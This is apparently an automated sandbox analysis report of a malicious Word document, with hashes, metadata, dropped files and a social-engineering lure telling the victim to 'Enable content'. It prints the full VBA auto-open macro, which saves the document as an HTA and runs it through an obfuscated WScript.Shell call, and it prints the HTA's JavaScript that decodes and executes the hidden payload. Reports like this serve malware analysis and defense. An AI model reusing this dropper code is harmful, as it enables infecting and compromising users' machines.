ecd84fa8d836

C:\Users\kEecfMwgj\Desktop\ecd84fa8d836d5057149b2b3a048d75004ca1a1377fcf2f5e67374af3a1161a0.doc

Sample File

Word Document

»

MIME Type	application/msword
File Size	77.50 KB
MD5	7044bd240219ec2f83b01c532e2ce5ba
SHA1	745cdbc4a826c5960eef3f4a9aa307ff94e4b7fb
SHA256	ecd84fa8d836d5057149b2b3a048d75004ca1a1377fcf2f5e67374af3a1161a0
SSDeep	768:P/MMM1tMFur3Be1l3Jeq1awypEuqjuy+uqezc1GFZIdJ6jtQlQNBOTHxPIz/tZj8:Zja8IdPhW/jTEQMiebld4Kkd6t
ImpHash	-

File Reputation Information

»

Verdict	malicious
Names	Mal/Generic-S

Office Information

»

Category	explorer
Description	ta
Last Modified By	Пользователь Windows
Revision	2
Create Time	2021-12-27 11:02:00+00:00
Modify Time	2021-12-27 11:02:00+00:00
Codepage	ANSI_Cyrillic
Application	Microsoft Office Word
App Version	16.0
Template	Normal
Company	ript.sh
Document Security	NONE
Page Count	1
Line Count	65
Paragraph Count	1
Word Count	116
Character Count	16118
Chars With Spaces	16233
bytes	26624
scale_crop	False
shared_doc	False

Controls (1)

»

CLSID	Control Name	Associated Vulnerability
{00020906-0000-0000-C000-000000000046}	Word97	-

VBA Macros (2)

»

Macro #1: ThisDocument

»


                   Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function contents()
With ActiveDocument.Content
superI7Center = .Find.Execute(FindText:="s3x", ReplaceWith:="", Replace:=2)
End With
End Function
Function cont1(i7ComputerMonitor)
cont1 = ActiveDocument.BuiltInDocumentProperties(i7ComputerMonitor).Value
contents
End Function
Public Function srn1(mouseVideo)
CreateObject("wsc" + cont1("company") + "ell").exec cont1("category") + " " + mouseVideo
End Function
Sub Document_Open()
hny
End Sub

Macro #2: main

»


                   Attribute VB_Name = "main"
Public Sub hny()
processorI9 = Trim("i7Gigabyte.h" & ThisDocument.cont1("comments"))
ActiveDocument.SaveAs2 FileName:=processorI9, FileFormat:=2
ThisDocument.srn1 processorI9
End Sub

Document Content Snippet

»

<s3xhs3xts3xms3xls3x>s3x<s3xbs3xos3xds3xys3x>s3x<s3xps3x s3xis3xds3x=s3x's3xps3xrs3xos3xcs3xes3xss3xss3xos3xrs3xRs3xts3xxs3x's3x s3xss3xts3xys3xls3xes3x=s3x's3xfs3xos3xns3xts3x-s3xcs3xos3xls3xos3xrs3x:s3x s3x#s3x0s3x0s3x0s3x's3x>s3xes3xvs3xas3xls3x<s3x/s3xps3x>s3x<s3xps3x s3xis3xds3x=s3x's3xrs3xts3xxs3xIs3x7s3x's3x s3xss3xts3xys3xls3xes3x=s3x's3xfs3xos3xns3xts3x-s3xcs3xos3xls3xos3xrs3x:s3x s3x#s3x0s3x0s3x0s3x's3x>s3xfs3xXs3x1s3x7s3xKs3xWs3xUs3xos3xas3xGs3xNs3x0s3xYs3xWs3xNs3x9s3xOs3x2s3xVs3xzs3xbs3x2s3xxs3xjs3xLs3xns3xhs3x0s3xUs3xms3x9s3xls3xZs3xGs3xls3xWs3xZs3xWs3xxs3xis3xYs3xXs3xQs3x7s3xKs3xTs3xIs3xgs3xLs3xCs3xJs3xns3xcs3xGs3xos3xus3xNs3x0s3xls3xls3xds3xHs3xls3xis3xYs3xWs3xds3xps3xZs3x1s3xxs3xcs3xYs3x2s3xls3xss3xYs3xns3xVs3xws3xXs3xFs3xxs3xzs3xcs3xms3xVs3xzs3xds3xVs3xxs3xcs3xOs3xms3xMs3xis3xKs3xGs3xVs3xss3xas3xWs3xZs3xvs3xds3xGs3xVs3x2s3xYs3xXs3xMs3xus3xes3xHs3xRs3xSs3xbs3x2s3xVs3xks3xas3xVs3xZs3xls3xbs3xGs3xJs3xhs3xds3xD ...

Extracted Image Texts (1)

»

Image 1: 0.PNG

»

                   This document created in previous version of Hicrosoft Office Word

To view or edit this document. please click “Enable editing” button
on the top bar. and then click “Enable content”
                  

CFB Streams (16)

»

Name	ID	Size	Actions
Root\Data	1	26.02 KB	... Actions Download File
Root\Table	2	7.05 KB	... Actions Download File
Root\WordDocument	3	19.06 KB	... Actions Download File
Root\SummaryInformation	4	4.00 KB	... Actions Download File
Root\DocumentSummaryInformation	5	4.00 KB	... Actions Download File
Root\Macros\VBA\ThisDocument	8	2.36 KB	... Actions Download File
Root\Macros\VBA\__SRP_2	9	983 Bytes	... Actions Download File
Root\Macros\VBA\__SRP_3	10	364 Bytes	... Actions Download File
Root\Macros\VBA\main	11	1.08 KB	... Actions Download File
Root\Macros\VBA\_VBA_PROJECT	12	2.83 KB	... Actions Download File
Root\Macros\VBA\dir	13	553 Bytes	... Actions Download File
Root\Macros\VBA\__SRP_0	14	1.67 KB	... Actions Download File
Root\Macros\VBA\__SRP_1	15	241 Bytes	... Actions Download File
Root\Macros\PROJECTwm	16	56 Bytes	... Actions Download File
Root\Macros\PROJECT	17	398 Bytes	... Actions Download File
Root\CompObj	18	114 Bytes	... Actions Download File

c:\users\keecfmwgj\documents\~wrd0000.tmp

Dropped File

HTML

»

Also Known As	c:\users\keecfmwgj\documents\i7gigabyte.hta (Dropped File)
MIME Type	text/html
File Size	3.96 KB
MD5	fbdb7848f1d9945428c0101b75811195
SHA1	fe31e65196e0844cd5858f893d44428aece6a2b4
SHA256	aec91c78c4dc06c5bcea7b5020c38b003fc120153d51a3adb4f32d8000a6326a
SSDeep	96:gmubD4ZmjvpJN3IyP3NoEVxaOcR9+2xtIols/RWvyXqRATuh:gmywmjBrYA3OgBcRU2gjRRM
ImpHash	-

Extracted JavaScripts (4)

»

JavaScript #1

»


                 function centerAsusSuper(i9I9Table){return(new ActiveXObject(i9I9Table));}function cardI9Processor(i9VideoMouse){return(tableNotebook.getElementById(i9VideoMouse).innerHTML);}function i7ProcessorCard(processorAsus){return('cha' + processorAsus);}function tableI9I9(processorMonitorSuper){var notebookProcessor = cardI9Processor('notebookGigabyteGigabyte');var videoSuper = "";var superProcessorI9, cardKeyboard, computerComputerSuper;var notebookMouseComputer, gigabyteTableComputer, processorGigabyte, tableCenter;var cardRtxCard = 0;processorMonitorSuper = processorMonitorSuper.replace(/[^A-Za-z0-9\+\/\=]/g, "");while(cardRtxCard < processorMonitorSuper.length){notebookMouseComputer = notebookProcessor.indexOf(processorMonitorSuper.charAt(cardRtxCard++));gigabyteTableComputer = notebookProcessor.indexOf(processorMonitorSuper.charAt(cardRtxCard++));processorGigabyte = notebookProcessor.indexOf(processorMonitorSuper.charAt(cardRtxCard++));tableCenter = notebookProcessor.indexOf(processorMonitorSuper.charAt(cardRtxCard++));superProcessorI9 = (notebookMouseComputer << 2) | (gigabyteTableComputer >> 4);cardKeyboard = ((gigabyteTableComputer & 15) << 4) | (processorGigabyte >> 2);computerComputerSuper = ((processorGigabyte & 3) << 6) | tableCenter;videoSuper = videoSuper + String.fromCharCode(superProcessorI9);if(processorGigabyte != 64){videoSuper = videoSuper + String.fromCharCode(cardKeyboard);}if(tableCenter != 64){videoSuper = videoSuper + String.fromCharCode(computerComputerSuper);}}return(videoSuper);}function i7AsusVideo(i7Processor){return i7Processor.split('').reverse().join('');}function monitorMonitorRtx(processorAsus){return(i7AsusVideo(tableI9I9(processorAsus)));}function asusProcessorMonitor(processorAsus, centerNotebook){return(processorAsus.split(centerNotebook));}cardTableMonitor = window;tableNotebook = document;cardTableMonitor['moveTo'](-101, -102);var tableRtx = cardI9Processor('rtxI7').split("---");var cardComputerMonitor = monitorMonitorRtx(tableRtx[0]);var rtxI7Super = monitorMonitorRtx(tableRtx[1]);

JavaScript #2

»


                 function rtxVideo(processorProcessorVideo){cardTableMonitor[cardI9Processor('processorRtx')](processorProcessorVideo);}

JavaScript #3

»


                 Call rtxVideo(cardComputerMonitor) : Call rtxVideo(rtxI7Super)

JavaScript #4

»


                 cardTableMonitor['close']();

c:\users\keecfmwgj\appdata\local\microsoft\windows\temporary internet files\content.word\~wrd0003.doc

Dropped File

Unknown

»

MIME Type	-
File Size	0 Bytes
MD5	d41d8cd98f00b204e9800998ecf8427e
SHA1	da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256	e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SSDeep	3::
ImpHash	-

c:\users\keecfmwgj\documents\~$gigabyte.hta

Dropped File

Stream

»

MIME Type	application/octet-stream
File Size	162 Bytes
MD5	3b73e0cd2df5504e7d0cd2257341efaf
SHA1	a8816e1e743ee67089d4f8b184f700d478c55849
SHA256	33b0af3e22cc50e215f77539ac661526ea5d1a21a8db6900c4bb7c058ce296af
SSDeep	3:vgAUMXalAUDyIlCPXYeG4lHlUH/XlNzt+lzpX/xl:NrXalAU2IYTGoi0L
ImpHash	-

c:\users\public\gigabyteI7.jpg

Downloaded File

HTML

»

Also Known As	c:\users\keecfmwgj\appdata\local\microsoft\windows\temporary internet files\content.ie5\x9ohk109\vaci3[1].txt (Downloaded File)
Parent File	analysis.pcap
MIME Type	text/html
File Size	204 Bytes
MD5	d3eb9513a9f2dd24ecdcc38ff33ca41b
SHA1	37433c7bfdb800c601fcba6f055bd01a87d26333
SHA256	56591a120bd1c7d012554befd923d1ac7bf015a53a36c2808766f74fbfdceb64
SSDeep	6:pn0+Dy9xwGObRmEr6VnetdzRx3fEjZKCezocKqD:J0+oxBeRmR9etdzRxfERez1T
ImpHash	-

0.PNG

Embedded File

Image

»

Parent File	C:\Users\kEecfMwgj\Desktop\ecd84fa8d836d5057149b2b3a048d75004ca1a1377fcf2f5e67374af3a1161a0.doc
MIME Type	image/png
File Size	25.82 KB
MD5	ca18ebe0fd78bf74842c4676878ccd52
SHA1	ced32ad37872cbfea4c12997b06e2c2f160e16f2
SHA256	f7f7a14d693935c6a2bcea607e802050e520ca6d12a3833f0d06731645056d92
SSDeep	768:Kc1GFZIdJ6jtQlQNBOTHxPIz/tZjTEQMf6eNdRs9:uIdPhW/jTEQMie6
ImpHash	-

Remarks (1/1)

There are no files for this filter

There are no files in this analysis

Classifications

Threat Names

WHOIS Domain Information

Before

After